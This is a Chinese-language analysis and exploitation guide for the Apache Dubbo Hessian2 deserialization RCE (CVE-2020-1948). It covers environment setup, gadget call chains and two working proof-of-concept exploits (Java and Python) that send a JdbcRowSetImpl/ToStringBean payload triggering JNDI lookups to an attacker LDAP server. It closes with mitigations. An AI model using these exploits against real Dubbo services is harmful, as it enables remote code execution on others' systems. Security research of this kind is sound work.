CVE-2020-1948Apache Dubbo 反序列化RCE漏洞分析
字数 1868 2025-08-15 21:31:17
Apache Dubbo 反序列化RCE漏洞(CVE-2020-1948)深度分析与利用指南
漏洞概述
CVE-2020-1948是Apache Dubbo中存在的一个反序列化远程代码执行漏洞,影响Dubbo 2.7.3及以下版本。攻击者可以通过构造恶意的RPC请求,利用Dubbo默认使用的Hessian2反序列化机制实现远程代码执行。
漏洞复现环境
必备环境
- Dubbo版本: 2.7.3 (dubbo-spring-boot-samples)
- JDK版本: 1.8.66或更低版本(8u113之前)
- 依赖项: 需要添加Rome工具依赖
依赖配置
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>
复现失败可能原因
- 缺少Rome依赖
- JDK版本过高(需使用JDK 6u132、7u122或8u113之前的版本)
漏洞原理分析
Dubbo RPC反序列化机制
Dubbo RPC默认使用org.apache.dubbo.common.serialize.hessian2.Hessian2Serialization#deserialize进行反序列化操作。
关键反序列化流程
org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.getInvokerorg.apache.dubbo.rpc.protocol.dubbo.CallbackServiceCodec.decodeInvocationArgumentorg.apache.dubbo.rpc.RpcInvocation.toStringorg.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decodeorg.apache.dubbo.common.serialize.Serializationorg.apache.dubbo.common.serialize.hessian2.Hessian2Serialization#deserializeorg.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInputcom.alibaba.com.caucho.hessian.io.Hessian2Input#readObject
Hessian2反序列化核心逻辑
Hessian2Input#readObject方法根据特定tag进行数据处理:
'N': null值'H': 键值对'M': Map类型'C': 类定义
关键方法:
readObjectDefinition: 读取类定义readObjectInstance: 实例化对象
漏洞利用链分析
利用方式一:HashMap触发hashCode
通过构造特殊的HashMap,利用key的hashCode方法触发反序列化:
- 利用
com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject的H标签 - 通过HashMap触发key的hashCode方法实现反序列化
调用链:
java.util.HashMap#hash
java.lang.Object#hashCode
java.util.HashMap#put
com.alibaba.com.caucho.hessian.io.MapDeserializer#doReadMap
com.alibaba.com.caucho.hessian.io.MapDeserializer#readMap
com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject
org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput#readObject
org.apache.dubbo.rpc.protocol.dubbo.DubboCodec.decodeBody
利用方式二:RemotingException触发toString
利用Rome工具的ToStringBean在异常抛出时隐式调用toString方法:
- 通过
com.alibaba.com.caucho.hessian.io.Hessian2Input#readObjectInstance实例化ToStringBean和JdbcRowSetImpl - 利用
org.apache.dubbo.remoting.RemotingException抛错输出时触发JNDI注入
调用链:
com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject
com.alibaba.com.caucho.hessian.io.Hessian2Input#readObjectInstance
com.alibaba.com.caucho.hessian.io.AbstractHessianInput#readObject
com.alibaba.com.caucho.hessian.io.JavaDeserializer#readObject
com.alibaba.com.caucho.hessian.io.Deserializer#readObject
com.alibaba.com.caucho.hessian.io.JavaDeserializer.ObjectFieldDeserializer#deserialize
org.apache.dubbo.remoting.RemotingException
漏洞利用POC
POC1: 利用HashMap触发hashCode
public class CVE_2020_1948_RomePoc {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName("ldap://127.0.0.1:8078/Calc");
rs.setMatchColumn("foo");
Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
EqualsBean root = new EqualsBean(ToStringBean.class, item);
HashMap s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC = Class.forName("java.util.HashMap$Node");
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
Reflections.setFieldValue(s, "table", tbl);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
// 构造Dubbo协议头
byte[] header = new byte[16];
Bytes.short2bytes((short) 0xdabb, header);
header[2] = (byte) ((byte) 0x80 | 0x20 | 2);
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
sf.setAllowNonSerializable(true);
out.setSerializerFactory(sf);
out.writeObject(s);
out.flushBuffer();
if (out instanceof Cleanable) {
((Cleanable) out).cleanup();
}
Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
byteArrayOutputStream.write(header);
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
byte[] bytes = byteArrayOutputStream.toByteArray();
// 发送恶意请求
Socket socket = new Socket("192.168.80.1", 12345);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(bytes);
outputStream.flush();
outputStream.close();
}
}
POC2: 利用RemotingException触发toString
client = DubboClient('192.168.80.1', 12345)
JdbcRowSetImpl = new_object('com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://192.168.80.1:8078/Calc",
strMatchColumns=["foo"])
JdbcRowSetImplClass = new_object('java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl")
toStringBean = new_object('com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl)
resp = client.send_request_and_return_response(
service_name='cn.rui0',
method_name='rce',
args=[toStringBean])
防御措施
- 升级Dubbo版本:升级到Dubbo 2.7.4或更高版本
- 限制反序列化类:配置Hessian2的
allowedType白名单 - 使用高版本JDK:使用JDK 6u132、7u122或8u113之后的版本
- 网络隔离:限制Dubbo服务端口的访问权限
参考资源
通过本文的详细分析,安全研究人员可以深入理解CVE-2020-1948漏洞的原理和利用方式,同时也为防御此类漏洞提供了有效建议。